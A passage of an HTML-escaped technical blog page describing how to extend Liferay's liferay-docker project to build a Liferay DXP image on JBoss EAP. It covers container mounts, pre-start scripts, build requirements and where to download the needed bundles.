system to container file system.&lt;/p&gt;&lt;p&gt;Start the container with the option &lt;code&gt;-v $(pwd)/xyz123:/mnt/liferay&lt;/code&gt; to link
&lt;code&gt;$(pwd)/xyz123&lt;/code&gt; on the host OS to &lt;strong&gt;/mnt/liferay&lt;/strong&gt; on the container. I remember
that PWD stands for Pathname Working Directory.&lt;/p&gt;&lt;p&gt;The files in the host directory &lt;code&gt;$(pwd)/xyz123/files&lt;/code&gt; are also available in the
container directory &lt;strong&gt;/mnt/liferay/files&lt;/strong&gt; and will be copied to /opt/liferay
before starting Liferay DXP.&lt;/p&gt;&lt;p&gt;For example, if you want to edit Apache Tomcat setenv.sh file, enter these
changes in &lt;code&gt;$(pwd)/xyz123/files/tomcat/bin/setenv.sh&lt;/code&gt;, thus the file setenv.sh
will be overwritten in &lt;code&gt;/opt/liferay/tomcat/bin/setenv.sh&lt;/code&gt; first starting
Liferay DXP.&lt;/p&gt;&lt;h3 id=&quot;15-scripts&quot;&gt;1.5. Scripts&lt;/h3&gt;&lt;p&gt;All scripts in the container directory &lt;strong&gt;/mnt/liferay/scripts&lt;/strong&gt; will come run
before starting Liferay DXP. For example, it is possible to install scripts that
clean up cache directories before the portal goes up. Place your scripts in
&lt;code&gt;$(pwd)/xyz123/scripts&lt;/code&gt;.&lt;/p&gt;&lt;h3 id=&quot;16-deploy&quot;&gt;1.6. Deploy&lt;/h3&gt;&lt;p&gt;Copy the files to &lt;code&gt;$(pwd)/xyz123/deploy&lt;/code&gt; on the host OS to install modules
(or bundles) on Liferay DXP at runtime. The directory can be used to install
the license file, which is required to be able to use the product.&lt;/p&gt;&lt;h2 id=&quot;2-extension-of-the-liferay-docker-project&quot;&gt;2. Extension of the liferay-docker project&lt;/h2&gt;&lt;p&gt;Liferay produces its own official Docker images via the published project
on GitHub which is called &lt;a href=&quot;https://github.com/liferay/liferay-docker&quot;&gt;liferay-docker&lt;/a&gt;,
project not very popular with the general public. The images produced are though
exclusively created from the bundle with Apache Tomcat.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/7302fa2a11f83c488392a1576365f12f/b6e50/liferay-docker-github-project.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:49.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;198\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20198\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M19%20120c-2%202%201%203%2027%203%2021%200%2026-1%2026-2l-5-1-7-1c-1%200-2%200-2%202h-1c-3-2-6-2-7%200h-3l-3-1-4%201-1%201-1-1c0-1-17-2-19-1m329%2057l-43%201%2042%201%2044%201c2%200%205-1%204-3l-3-1-44%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/7302fa2a11f83c488392a1576365f12f/c85cb/liferay-docker-github-project.webp 300w,/static/7302fa2a11f83c488392a1576365f12f/e88ff/liferay-docker-github-project.webp 600w,/static/7302fa2a11f83c488392a1576365f12f/92f8c/liferay-docker-github-project.webp 1200w,/static/7302fa2a11f83c488392a1576365f12f/62ed8/liferay-docker-github-project.webp 1800w,/static/7302fa2a11f83c488392a1576365f12f/511b7/liferay-docker-github-project.webp 1862w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/7302fa2a11f83c488392a1576365f12f/5a46d/liferay-docker-github-project.png 300w,/static/7302fa2a11f83c488392a1576365f12f/0a47e/liferay-docker-github-project.png 600w,/static/7302fa2a11f83c488392a1576365f12f/c1b63/liferay-docker-github-project.png 1200w,/static/7302fa2a11f83c488392a1576365f12f/d61c2/liferay-docker-github-project.png 1800w,/static/7302fa2a11f83c488392a1576365f12f/b6e50/liferay-docker-github-project.png 1862w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 2 - Home page of the liferay-docker project on GitHub (https://github.com/liferay/liferay-docker)&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/7302fa2a11f83c488392a1576365f12f/c1b63/liferay-docker-github-project.png&quot; title=&quot;Figure 2 - Home page of the liferay-docker project on GitHub (https://github.com/liferay/liferay-docker)&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 2 - Home page of the liferay-docker project on GitHub (https://github.com/liferay/liferay-docker)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Instead, the need is to create a Docker image where Liferay is installed on
JBoss EAP. However, it is advisable to create the new image while keeping the
&lt;strong&gt;&amp;quot;services offered&amp;quot;&lt;/strong&gt; from the official images produced by Liferay (see: file system,
environment variables, support for running pre-start scripts, etc.).&lt;/p&gt;&lt;p&gt;To achieve this, it is enough to extend the liferay-docker project so that it is
possible:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;build the Docker image where Liferay is installed on JBoss EAP;&lt;/li&gt;&lt;li&gt;push the Docker image created to a repository;&lt;/li&gt;&lt;li&gt;install the Liferay Patching Tool, Fix Pack, Hot Fix and Security Fix Pack directly during the build phase;&lt;/li&gt;&lt;li&gt;run the JBoss EAP Patch installation.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The object of the extension is the &lt;strong&gt;build_local_image.sh&lt;/strong&gt; script. This is responsible
the execution of the operations indicated above, of which the last are optional.
The diagram shown in the following figure illustrates the various stages of the
Liferay Docker image building process.&lt;/p&gt;&lt;p&gt;The creation of the Docker image follows the Liferay installation process on
JBoss EAP as described by the official Liferay document called
&lt;a href=&quot;https://learn.liferay.com/dxp/7.x/en/installation-and-upgrades/installing-liferay/installing-liferay-on-an-application-server/installing-on-jboss-eap.html&quot;&gt;Installing on JBoss EAP&lt;/a&gt;.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/e2b665295b8ca0f68b853b0203a05633/0c307/proceso-creazione-immagine-docker-en.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:55.00000000000001%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;219\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20219\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M87%201l-1%2010v8H49l-1-3-4-5c-4-3-4-2-1%201%207%207%205%2013-5%2019-5%202-22%202-27-1-15-7-12-18%206-23%206-1%2010-1%2021%202%202%200%202%200%200-2-6-3-22-2-28%201-13%207-13%2018%201%2024s35%200%2037-10l1-2h17l17%201h2l1%208%201%208V21l1-19c2-2%2081-2%2083%200l1%2019v16l1-9v-8h12l11%201h2c2%200%202%200%202%209l1%209h85v-9l1-9%2011-1%2012%201h2c2%200%202%200%202%209l1%209h85V11c0-8-1-7-1%209v18h-83l-1-18-1-10v9h-28v-9c0-5-1-1-1%2010v18h-83l-1-18-1-10v9h-27v-8l-1-10c-2-2-83-2-85%200m270%2043v4H129v8l-20%201-22%201c-1%202-2%2036%200%2036V78l1-19c2-2%2081-2%2083%200l1%2019v16l1-9v-8h12l11%201h2c2%200%202%200%202%209l1%209h85v-9l1-9%2011-1%2012%201h2c2%200%202%200%202%209l1%209h85V59l-1%2018v18h-83l-1-18-1-10v9h-28v-9c0-5-1-1-1%2010v18h-83l-1-18-1-10v9h-27v-8l-1-10-21-1h-20l-1-4v-4h114c123%200%20115%200%20114-6-1-2-1-2-1%201M98%2068c0%203%200%203%201%202l1-2-1-1c0-2%202%200%203%202l1%201c0-2%202-3%202%200l2%201%201-1v-1l1%202c0%202%200%202%201%201s3-2%205-1c2%200%203-1%203-2l1-1%201%202c0%202%203%201%203-1%201-1%201-1%201%201h1c1-1%201-1%201%201l1%202%202-1v-3c0-1-1-2-4-2l-4-1h-1l-3%201-3%201-1%201h-3l1-1c1-1-1-1-4-1l-5-1c-2-2-4-1-4%202m32%2043l-1%204v2c1%202%201%202-19%202l-22%201v37l43%201%2042-1%201-10v-8h11l11%201h2c2-1%202-1%202%208l1%2010h85v-19h12l12%201h2c2-1%202-1%202%208l1%2010h21l21%201v10H130v4l-1%204v2c0%202%200%202-20%202-11%200-2%201%2022%201%2023%200%2032-1%2021-1h-21v-11h227v-12h42v-38l-42-1h-42l41%201%2042%201v36h-83v-19l-1-18-1%209c0%209%200%209-2%208h-2l-12%201h-12v-18h-85l-1%209c0%209%200%209-2%208h-2l-11%201h-11v-8l-1-10-21-1h-20l-1-5v-6h113l114-1H130v4m-41%2010v35c2%202%2081%202%2083%200l1-17-1-18c-2-2-81-2-83%200m112%200v19l1%2017h83v-36l-42-1-42%201m0%2061l-1%209c0%208%200%208-2%208h-2l-11%201h-11v-8l-1-9v16a74%2074%200%2001-1%2020c1%200%202-3%202-11v-7h26v9l1-9%201-18h83v18c0%2010%201%2014%201%209v-9h43v3c3%209%208%2011%2025%2011%2018%200%2024-3%2024-15%200-10-6-14-21-15-18-1-24%202-27%2011l-3%203h-1l-20%201h-19l-1-9v-9l-43-1-42%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/e2b665295b8ca0f68b853b0203a05633/c85cb/proceso-creazione-immagine-docker-en.webp 300w,/static/e2b665295b8ca0f68b853b0203a05633/e88ff/proceso-creazione-immagine-docker-en.webp 600w,/static/e2b665295b8ca0f68b853b0203a05633/92f8c/proceso-creazione-immagine-docker-en.webp 1200w,/static/e2b665295b8ca0f68b853b0203a05633/62ed8/proceso-creazione-immagine-docker-en.webp 1800w,/static/e2b665295b8ca0f68b853b0203a05633/46261/proceso-creazione-immagine-docker-en.webp 2400w,/static/e2b665295b8ca0f68b853b0203a05633/bc811/proceso-creazione-immagine-docker-en.webp 2526w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/e2b665295b8ca0f68b853b0203a05633/5a46d/proceso-creazione-immagine-docker-en.png 300w,/static/e2b665295b8ca0f68b853b0203a05633/0a47e/proceso-creazione-immagine-docker-en.png 600w,/static/e2b665295b8ca0f68b853b0203a05633/c1b63/proceso-creazione-immagine-docker-en.png 1200w,/static/e2b665295b8ca0f68b853b0203a05633/d61c2/proceso-creazione-immagine-docker-en.png 1800w,/static/e2b665295b8ca0f68b853b0203a05633/97a96/proceso-creazione-immagine-docker-en.png 2400w,/static/e2b665295b8ca0f68b853b0203a05633/0c307/proceso-creazione-immagine-docker-en.png 2526w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 3 - Liferay DXP + JBoss EAP Docker image creation process&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/e2b665295b8ca0f68b853b0203a05633/c1b63/proceso-creazione-immagine-docker-en.png&quot; title=&quot;Figure 3 - Liferay DXP + JBoss EAP Docker image creation process&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 3 - Liferay DXP + JBoss EAP Docker image creation process&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h2 id=&quot;3-requirements&quot;&gt;3. Requirements&lt;/h2&gt;&lt;p&gt;So that you can successfully complete the image creation Docker, a number of
software requirements must be met for the machine dedicated to the build operation.
The software requirements to be met are the following.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Unix/Linux/macOS Operating System. Alternatively, a Bash shell (version 3.x) is sufficient.&lt;/li&gt;&lt;li&gt;Docker Engine 18.x or 19.x.&lt;/li&gt;&lt;li&gt;Git 2.x (optional).&lt;/li&gt;&lt;li&gt;JDK 1.8 0 11.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;As for Docker, you can install Docker Desktop on your own workstation, available
for both Microsoft operating systems and Apple operating systems. I recommend
installing the stable version avoiding the edge version, the latter useful for
experimenting with the latest features.&lt;/p&gt;&lt;p&gt;If you have already installed Docker, check the version on your system using the
&lt;code&gt;docker version&lt;/code&gt; command making sure the version is in range indicated by the
requirements. An example of the command output is shown below. In this case the
version is 19.03.13, therefore in line with what is requested.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;Client: Docker Engine - Community&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; Cloud integration  0.1.18&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; Version:           19.03.13&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; API version:       1.40&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; Go version:        go1.13.15&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; Git commit:        4484c46d9d&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; Built:             Wed Sep 16 16:58:31 2020&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; OS/Arch:           darwin/amd64&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; Experimental:      &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;Server: Docker Engine - Community&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; Engine:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Version:          19.03.13&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  API version:      1.40 (minimum version 1.12)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Go version:       go1.13.15&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Git commit:       4484c46d9d&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Built:            Wed Sep 16 17:07:04 2020&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  OS/Arch:          linux/amd64&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Experimental:     &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; containerd:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Version:          v1.3.7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  GitCommit:        8fba4e9a7d01810a393d5d25a3621dc101981175&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; runc:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Version:          1.0.0-rc10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  GitCommit:        dc9208a3303feef5b3839f4323d9beb36df0a9dd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; docker-init:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Version:          0.18.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  GitCommit:        fec3683&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 1 - Output of the docker version command&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The software needed to create the image can be downloaded as an archive
&lt;a href=&quot;https://github.com/smclab/liferay-docker/archive/v1.0.0.zip&quot;&gt;liferay-docker-1.0.0.zip&lt;/a&gt;.&lt;/p&gt;&lt;h2 id=&quot;4-dependency-downloads&quot;&gt;4. Dependency downloads&lt;/h2&gt;&lt;p&gt;The image creation process requires the following to be available bundle.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Liferay DXP WAR&lt;/li&gt;&lt;li&gt;Liferay DXP Dependencies&lt;/li&gt;&lt;li&gt;Liferay DXP OSGi Dependencies&lt;/li&gt;&lt;li&gt;Liferay Patching Tool&lt;/li&gt;&lt;li&gt;Liferay DXP Fix Pack (optional)&lt;/li&gt;&lt;li&gt;Liferay DXP Hot Fix (optional)&lt;/li&gt;&lt;li&gt;Liferay DXP Security Pack (optional)&lt;/li&gt;&lt;li&gt;Red Hat JBoss EAP&lt;/li&gt;&lt;li&gt;Red Hat JBoss EAP Patch (optional)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The first five bundles listed are for Liferay and these must be downloaded from
the &lt;a href=&quot;https://customer.liferay.com/&quot;&gt;Liferay Customer Portal&lt;/a&gt;, is therefore
required an account that is enabled to access and download.&lt;/p&gt;&lt;p&gt;Bundles covering, Fix Pack, Hot Fix and Liferay Security Pack are optional,
necessary in case you want to apply Docker image build phase Liferay a specific
Fix Pack, Hot Fix or Security Pack. The figure below shows the download section
of the Liferay Customer Portal.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1114px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/eb20b54e4d25c72a58ac9999430882c9/cd536/liferay-customer-portal-download-fix-pack.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:75.99999999999999%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;304\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20304\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M230%2067v21h110V45H230v22m2%200v19h106V47H232v20m27-17l-1%206c0%204%200%205-3%205h-6l1%203%201%202v-2c0-2%200-2%201-1%201%202%202%202%202%201h1c0%202%200%202%202%201%201-1%201%200%201%209%200%208%200%2010%202%2010%203%202%2072%201%2073%200l1-18V50l-38-1-37%201m79%20222l-1%206v5h34v-11l-17-1-16%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/eb20b54e4d25c72a58ac9999430882c9/c85cb/liferay-customer-portal-download-fix-pack.webp 300w,/static/eb20b54e4d25c72a58ac9999430882c9/e88ff/liferay-customer-portal-download-fix-pack.webp 600w,/static/eb20b54e4d25c72a58ac9999430882c9/180af/liferay-customer-portal-download-fix-pack.webp 1114w&quot; sizes=&quot;(max-width: 1114px) 100vw, 1114px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/eb20b54e4d25c72a58ac9999430882c9/5a46d/liferay-customer-portal-download-fix-pack.png 300w,/static/eb20b54e4d25c72a58ac9999430882c9/0a47e/liferay-customer-portal-download-fix-pack.png 600w,/static/eb20b54e4d25c72a58ac9999430882c9/cd536/liferay-customer-portal-download-fix-pack.png 1114w&quot; sizes=&quot;(max-width: 1114px) 100vw, 1114px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 4 - Download Fix Packs, Product / Service Packs and Security Fix Packs section of the Liferay Customer Portal&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/eb20b54e4d25c72a58ac9999430882c9/cd536/liferay-customer-portal-download-fix-pack.png&quot; title=&quot;Figure 4 - Download Fix Packs, Product / Service Packs and Security Fix Packs section of the Liferay Customer Portal&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 4 - Download Fix Packs, Product / Service Packs and Security Fix Packs section of the Liferay Customer Portal&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;As for the JBoss EAP bundle, this can be downloaded in GA version and any patches
from the RedHat Customer Portal.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:959px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/bf7355e88130c5058a2a8edfdec82d03/d7abb/customer-portal-redhat-jboss-download.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:43.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;175\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20175\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M7%204C6%206%206%208%209%208l2%201-3%201H7c2%202%205%202%205%200h2c1%202%204%201%204-1%201-2%201-2%201%200%200%203%202%203%202%200l1-2%201%202c0%202%202%204%202%202v-1l-1-1%201-2%201%201c0%203%202%203%203%202h1c0%202%202%201%202-1h1c0%203%207%203%207%200V7l1%202%203%202c2%200%202%200%201-1l-1-1c2%200%202-1%202-2-1-2-4-2-7-1h-3c-1-1-5%200-5%201h-3l-2-1c-2-2-3-2-4-1h-1V3l-2%202-2%201h-3c-1%202-2%202-4%200-2-1-2-1%200-1%202%201%203%200%200-1H7m43%200l-1%204c0%203%200%203%202%203l4-1h11c0%202%202%201%202-1h1c0%203%202%202%202%200l1-2v2c0%202%200%202%205%202h9l2-1%209%201c2%200%201-3-1-3l1-1c1-1%200-1-3-1l-1-2-3%201c-2%201-3%202-4%201h-2v2c-1%201-2%200-3-1-2-2-2-2-3-1-2%201-2%201-2-1s0-2-1-1l-4%202-4%201h-4l-1-1h-4c-1%201-2%201-4-1-1-2-3-3-4-1m13%2024c0%203%202%204%204%202l2-1c1%202%207%202%208%200%202-1%202-1%202%201s0%202%202%201l3-2h1c1%202%208%202%208%200s-1-3-3-2h-3v-1l-2-1-9%201-9%202-2%201v-2l1-1c1-1%201-1-1-1s-2%201-2%203m33-1v2l3%201c1%202%202%202%203%201h3l10-1c7%201%2010%200%2011-1h1l1%201c2-2%200-4-4-4h-14l-1-1-2%201-4%201-5-1c0-2-2-1-2%201M32%2059h22v5c0%203%200%204%202%204a12251%2012251%200%2001224-2H165v-3l-1-2v3c0%202%200%202-3%202s-3%200-2-1c2-2%200-4-2-4s-2%200-1%201c2%200%203%202%201%202v1l-1%201-1-2-1-2v2c0%202%200%202-15%202-16%200-16%200-15-2l-1-2-1%203-9%201c-6%200-8%200-6-1h4l1-1v-1h1l-5-1h-3v-1c-2%200-2%201-2%203%201%202%201%202-4%202-4%200-4%200-4-2%200-3%200-3-4-3-3%200-4%201-4%202l1%202h2l-17%201H55v-8H10l22%201M6%20121v50h389v-44l-1-38v6H7V83h350V70H6v51m282-32c0%202%202%203%203%202h21c1%201%203-2%203-3h-14l-3-1-4%201h-1c0-2-5-1-5%201M7%20108v12h387V96H7v12m281%206c0%202%202%203%203%202h20c2%201%205-1%204-3h-14l-3-1-4%201h-1c0-2-5-1-5%201M7%20133v12h387v-24H7v12m281%206c0%202%202%203%203%202h4c1%201%203%201%205-1h1v2l1-1h9c2%201%205-1%204-3h-14l-3-1-4%201h-1c0-2-5-1-5%201M7%20158v12h387v-24H7v12m282-8c-2%201-1%204%201%204h8c3%201%204%200%205-1l1-2v3c2%200%202%200%201-1h1c4%202%2011%201%208-2-1-2-11-2-12%200h-1c-1-2-6-2-7%200h-1l-4-1m-1%2014c0%202%202%203%203%202h12c3%202%2013%200%2012-2s-12-2-13-1h-1l-3-1-4%201h-1c0-2-5-1-5%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/bf7355e88130c5058a2a8edfdec82d03/c85cb/customer-portal-redhat-jboss-download.webp 300w,/static/bf7355e88130c5058a2a8edfdec82d03/e88ff/customer-portal-redhat-jboss-download.webp 600w,/static/bf7355e88130c5058a2a8edfdec82d03/1bae5/customer-portal-redhat-jboss-download.webp 959w&quot; sizes=&quot;(max-width: 959px) 100vw, 959px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/bf7355e88130c5058a2a8edfdec82d03/5a46d/customer-portal-redhat-jboss-download.png 300w,/static/bf7355e88130c5058a2a8edfdec82d03/0a47e/customer-portal-redhat-jboss-download.png 600w,/static/bf7355e88130c5058a2a8edfdec82d03/d7abb/customer-portal-redhat-jboss-download.png 959w&quot; sizes=&quot;(max-width: 959px) 100vw, 959px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 5 - Red Hat Customer Portal from where to download the installation zip file and any patches&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/bf7355e88130c5058a2a8edfdec82d03/d7abb/customer-portal-redhat-jboss-download.png&quot; title=&quot;Figure 5 - Red Hat Customer Portal from where to download the installation zip file and any patches&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
